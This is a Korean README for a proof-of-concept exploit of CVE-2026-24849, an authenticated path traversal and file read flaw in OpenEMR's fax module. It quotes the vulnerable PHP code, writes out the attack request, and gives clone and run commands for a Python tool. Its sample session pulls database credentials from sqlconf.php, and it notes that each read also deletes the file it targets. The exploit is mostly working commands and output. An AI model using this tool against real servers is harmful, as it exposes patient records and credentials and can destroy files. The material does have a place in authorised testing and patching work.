
OpenEMR의 EtherFax 모듈에서 인증된 경로 탐색 임의 파일 읽기 취약점인 CVE-2026-24849용 개념 증명 익스플로잇. 데이터베이스 자격 증명 및 환자 기록을 포함한 서버 파일을 읽습니다.
| CVE | CVE-2026-24849 |
| 취약점 | 경로 탐색 / 임의 파일 읽기 (CWE-22) |
| 구성 요소 | EtherFaxActions::disposeDoc() interface/modules/custom_modules/oe-module-faxsms |
| 영향을 받는 버전 | OpenEMR < 7.0.4 |
| 패치 버전 | OpenEMR 7.0.4 |
| 인증 | 필요 – 모든 사용자, 권한 불필요 |
| 심각도 | NVD 6.5 (보통) / GitHub CNA 9.9 (위험) |
| 테스트 환경 | OpenEMR 7.0.2 – Ubuntu 22.04, PHP 8.1, Apache 2.4 |
Fax/SMS 모듈의 disposeDoc() 메서드는 호출자가 제공한 file_path 요청 매개변수를 받아 파일이 존재하는지 확인한 후, 경로 표준화, 허용 목록 검사, 인증 확인 없이 유효한 세션만 있으면 바로 readfile()에 전달합니다:
// interface/modules/custom_modules/oe-module-faxsms/src/Controller/EtherFaxActions.php
public function disposeDoc($content = ''): void
{
$where = $this->getRequest('file_path', null); // 공격자 통제, 검증되지 않음
if (file_exists($where)) {
...
readfile($where); // 웹 서버 사용자 권한으로 임의 파일 읽기
unlink($where); // ⚠ 읽은 후 파일 삭제 (아래 경고 참고)
exit;
}
die('Problem with download. Use browser back button');
}
핸들러는 모듈 디스패처를 통해 file_path에 절대 경로를 사용하여 접근됩니다 (../ 탐색 불필요):
GET /interface/modules/custom_modules/oe-module-faxsms/index.php
?site=default
&type=fax
&_ACTION_COMMAND=disposeDoc
&file_path=/etc/passwd
&action=download
낮은 권한(또는 기본) 계정으로 서버 측 파일 읽기 기본 기능을 얻을 수 있습니다:
sites/default/sqlconf.phpsites/<site>/documents/ 아래의 모든 파일. 해당 디렉토리가 .htaccess에서 Deny from all로 설정되어 있어도 (읽기는 디스크에서 이루어지므로 Apache를 우회함)/etc/passwd, 애플리케이션 소스, 키/토큰⚠️ 파괴적 동작
disposeDoc()는 파일을 읽은 후unlink($where)를 호출합니다. 웹 서버 사용자에게 삭제 권한이 있는 파일을 읽으면 해당 파일이 제거됩니다. root 소유 파일(예:/etc/passwd, 대부분 설치에서sqlconf.php)을 대상으로 하면 – 해당 상위 디렉토리가 웹 사용자에게 쓰기 가능하지 않으므로unlink()가 실패하고 파일이 유지됩니다. 이 취약점을 사용할 때 대상을 신중히 선택하십시오.
admin:pass도 종종 작동)requestspip3 install requests
git clone https://github.com/doany1/CVE-2026-24849.git
cd CVE-2026-24849
chmod +x CVE-2026-24849.py
인수 없이 실행하면 필요한 모든 정보를 입력받습니다:
python3 CVE-2026-24849.py
또는 플래그를 사용하여 비대화식으로 실행:
# 단일 파일 읽기
python3 CVE-2026-24849.py -t http://TARGET -u admin -P pass -f /etc/passwd
# DB 자격 증명을 가져와 파일로 저장
python3 CVE-2026-24849.py -t http://TARGET -u admin -P pass \
-f /var/www/html/openemr/sites/default/sqlconf.php -o sqlconf.php
| 플래그 | 설명 | 기본값 |
|---|---|---|
-t, --target | 기본 URL (예: http://10.10.10.10) | 입력받음 |
-u, --user | OpenEMR 사용자 이름 | admin |
-P, --password | OpenEMR 비밀번호 | 입력받음 (숨김) |
-s, --site | OpenEMR 사이트 ID | default |
-f, --file | 읽을 원격 파일의 절대 경로 | 생략 시 대화형 루프 |
-o, --output | 가져온 파일을 출력 대신 로컬에 저장 |
-f를 생략하면 도구는 대화형 읽기 루프로 전환되어 한 세션에서 여러 파일을 가져올 수 있습니다.
$ python3 CVE-2026-24849.py
[*] OpenEMR < 7.0.4 - 인증된 임의 파일 읽기 (CVE-2026-24849)
대상 기본 URL (예: http://10.10.10.10): http://10.10.10.10
사용자 이름 [admin]:
비밀번호:
사이트 [default]:
[*] http://10.10.10.10에 'admin'으로 인증 중 ...
[+] 인증 성공; CVE-2026-24849 파일 읽기 확인됨.
[*] 대화형 읽기 - 절대 파일 경로 입력 (빈 줄 또는 'q'를 입력하면 종료).
file_path: /var/www/html/openemr/sites/default/sqlconf.php
[+] ---------- /var/www/html/openemr/sites/default/sqlconf.php ----------
$login = 'openemr';
$pass = 'openemr123';
$dbase = 'openemr';
[+] --------------------------
requests를 사용하여 로그인하고, 세션을 자체 쿠키 저장소에 유지합니다 (복사된 쿠키가 오래되게 만드는 브라우저 세션 ID 회전을 피합니다).disposeDoc 읽기 요청을 보내며, 영향을 받는 마이너 버전에 따라 메서드 이름이 다를 수 있으므로 disposeDoc과 disposeDocument를 모두 자동 시도합니다..htaccess만 유일한 제어 수단으로 의존하지 마십시오.이 도구는 승인된 보안 테스트 및 교육 목적으로만 제공됩니다. 소유하거나 명시적인 서면 허가를 받은 시스템에서만 사용하십시오. 저자는 이 소프트웨어의 오용이나 이로 인한 손해에 대해 책임을 지지 않습니다. 위에 설명된 unlink()의 파괴적 동작에 유의하십시오.
doany1
MIT – LICENSE 참조